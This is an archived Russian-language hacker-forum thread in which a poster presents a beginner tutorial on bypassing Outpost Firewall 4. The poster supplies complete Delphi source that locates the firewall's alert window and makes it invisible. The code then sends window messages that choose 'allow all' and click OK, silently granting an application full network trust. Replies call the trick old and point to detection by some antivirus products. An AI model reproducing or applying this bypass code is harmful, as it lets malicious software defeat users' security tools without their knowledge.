PDA

Просмотр полной версии : Эмуляция ввова как метод обхода OutPost FireWall 4


Sov1et
31.01.2007, 02:48
::Тема: Эмуляция ввова как метод обхода OutPost FireWall 4.
::Зачем: Показать уязвимость персонального фаервола.
::Кому: Новичкам (подробно описаны все действия).

Интро

Всё началось с того что меня поимели...Да это не делает чести... На системе стоят нод32 + ОутПост…. Ну вот я захотел понять как … Странных файлов антивирем обнаружено не было … Но я нашёл разращенное приложение с списке исключений в Anti-Leak’е… Хотя ничего подобного мной туда не было закинуто…Я понял, что скорее всего это сделано с помощью старого как дуб, но до сих пор рабочего метода эмуляции ввода…

Теория

В Виндовс существует возможность посылать сообщений от менее привилегированных приложений в более привилегированные . Причём последним очень трудно понять откуда пришло сообщение от пользователя или из программы…

Для простоты объяснения метода я не буду рассказывать про внедрение кода для вызывания Anti-Leak защиты в оутпосте. А опишу незаметное добавление приложения в список Доверенных приложений, которым разрешено делать всё, это намного палевнее чем использовать инжект кода или подгрузку длл’ки, так как так это легче спалить.
Кто хочет разобраться в инжекте советуб читать статьи на wasme.

Для наших экспериментов выставим политику ОутПоста в Режим Обучения. Мы будем перехватывать окно, которое выводится если приложение стучится в сеть. И в нём выбирать “Разрешить всё” и нажимать кнопку “Ok”. В исходнике проги много того что не пригодится в реальном использовании данного метода, но они помогают лучше разобраться и познакомиться с некоторыми функциями Win API.

Для начала рассмотрим функции Win API которые нам понадобятся :

::function FindWindow(lpClassName, lpWindowName: PChar): HWND;
lpClassName – тип окна … ставим в nil
lpWindowName – название окна которое ищем…
Я эксперементировал с MIRC.EXE – поетому в исходнике стоит именно это –поменяйте на то что будет использованатся у вас в качестве экспериментального приложения

::function GetClassName(hWnd: HWND; lpClassName: PChar; nMaxCount: Integer): Integer;
служит для получения класса обьекта;
hWnd – хэндл окна.
lpClassName – получаем класс

::function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer;
служит для получегия текста обьекта
hWnd – хэндл окна.
lpString – текст хендла

Опишу работу приложения.
Запускается поток с процедурой поиска окна алерта, при нахождении оного – запускается цикл с перебором дочерних окон и выводом их типов и текста в консоль.
Здесь сделаю маленькое отступление : в виндоусе каждая кнопка , надпись etc является окном – поэтому для получения списка используем функцию GetWindow.
Для перебора заносим в массив первый хендл объекта с помощью GetWindow и параметрами : хендлом окна алерта и GW_CHILD. А потом в цикле используя ту же функцию GetWindow передавая параметры предыдущего хендла и GW_HWNDNEXT получаем все элементы окна. Потом увидев в консоле какой по счёту идут нужные нам кнопки (напомню нам нужны : “Разрешить этому прилжению выполнять любые действия” и “Ok”) . Расположение элементов можно видеть на скрине. Теперь мы можем нажать на них. Напомню что нажатие состоит из трёх этапов : установку фокуса-> нажатие->убивание фокуса. Все эти действия выполняем функцией SendMessage и PostMessage.

http://sov1et.jino-net.ru/img/1.JPG


Собственно код

program prog;

{$APPTYPE CONSOLE}

uses
windows,advApiHook,Messages;
var
hWnd,PID,pHandle :Dword;
hThead_OP,hThead_KASP,THeadlD: Dword;
tmp: pchar;

function Rus(mes: string):string; // Функция Rus преобразует ANSI-строку в ASCII-строку
// В ANSI русские буквы кодируются числами от 192 до 255,
// в ASCII - от 128 до 175 (А..Яа..п) и от 224 до 239 (р..я).
// Необходима для корректного вывода русских букв в консоль..
var
s: integer; // номер обрабатываемого символа
begin
for s:=1 to length(mes) do
If (Ord(mes[s])>=192) and (Ord(mes[s])<=239) then mes[s]:=Chr(Ord(mes[s])-64) else
If (Ord(mes[s])>=240) and (Ord(mes[s])<=255) then mes[s]:=Chr(Ord(mes[s])-16);
rus:=mes;
end;


procedure findOP (); // Находим Оут Пост
var
OPwindow : Dword;
I : dword;
Buttons : array[1..45] of dword;
wintext : Pchar;
buf: pchar;

begin
//---- Ищем окно алерта ----------------///
while OPwindow =0 do
OPwindow:=findwindow(nil,Pchar('Создать правило для MIRC.EXE'));

// скрываем окно алерта от глаз делая его прозрачным:

SetWindowLong(OPwindow,GWL_EXSTYLE,WS_EX_layered);
SetLayeredWindowAttributes(OPwindow,0,0,$00000002) ;

//----------Перебираем все кнопки : -------------------------///

Buttons[1]:=GetWindow(OPwindow,GW_CHILD);
GetMEm(wintext,128);
GetClassName(Buttons[1],wintext,127);
GetWindowText(Buttons[1],(buf),128);
writeln(wintext+' '+Rus(buf));

for i:=2 to 44 do
begin
GetMEm(wintext,128);
Buttons[i]:=GEtWindow(Buttons[i-1],GW_HWNDNEXT);
GetClassName(Buttons[i],wintext,127);
GetWindowText(Buttons[i],(buf),128);



writeln(wintext+' '+Rus(buf));

end;


//------ Выбираем пункт разрешить всё------------------//

SendMessage(Buttons[1],WM_SETFOCUS,1,0);
SendMessage(Buttons[1],BM_SETSTATE,1,0);
PostMessage(Buttons[1],WM_KILLFOCUS,0,0);

//------ Нажимаем на кнопку ОК------------------//

SendMessage(Buttons[8],WM_SETFOCUS,1,0);
SendMessage(Buttons[8],BM_SETSTATE,1,0);
PostMessage(Buttons[8],WM_KILLFOCUS,0,0);

end;



begin

hThead_OP:=createThread(nil,0,@findOP,nil,0,THeadl D); // стартуем поток с поиском окна


readln;
end.

Вывод

Да эта техника обхода имеет большой недостаток – для каждого фаера нужен свой подход. Но их не так много и поетому в принципе можно реализовать для всех самых распространенных.
На этом позвольте расклинится. Всем пока и спс за внимание.

_Great_
31.01.2007, 09:58
1) Боян страшный
2) можно защититься на 100% от этого с помощью отказа от стандартных GUI функций и плавающих элементов окна. + если делать AnimateWindow, это палится.
3) с антивирями это катит не всеми. например, Касперский сильно ругается. Скорее всего, он замеряет время между показом окна и вводом и если оно маленькое, то начинает орать
4) Для перебора заносим в массив первый хендл объекта с помощью GetWindow и параметрами : хендлом окна алерта и GW_CHILD. А потом в цикле используя ту же функцию GetWindow передавая параметры предыдущего хендла и GW_HWNDNEXT получаем все элементы окна. Потом увидев в консоле какой по счёту идут нужные нам кнопки (напомню нам нужны : “Разрешить этому прилжению выполнять любые действия” и “Ok”) .
кстати, есть удобные функции EnumWindows и EnumChildWindows

Constantine
31.01.2007, 10:05
А прога на Паскале чтоль? =\

_Great_
31.01.2007, 10:22
Жжошь. Это дельфи у него.

Duncon
31.01.2007, 11:37
А Delphi не паскаль по твоему? (только более старший собрат)

_Great_
31.01.2007, 11:45
Тогда можно сказать, что С++ это Си, вб - барсик и так далее.

Sov1et
31.01.2007, 15:14
Статья для новичков...
Я и не говрорил что ето супер метод...
Почему боян? - Это же работает в связке нод+оутпост.
2 _Great_ естественно для тебя здесь не будет ичего нового .

ЗЫ. EnumWindows и EnumChildWindows да и впрямь удобнее...
ЗЫЫ Язык обжьект паскаль среда делфи.

_Great_
31.01.2007, 15:49
Почему боян? - Это же работает в связке нод+оутпост.
2 _Great_ естественно для тебя здесь не будет ичего нового .

потому что про это известно уже хз сколько времени.
к тому же этот метод дико кривой и ненадежный и я уже писал, почему

Sov1et
31.01.2007, 16:06
2 _Great_ - ну твоя статья про Splicing тоже не рассказывает ничего нового. Етот метод тоже известен давно.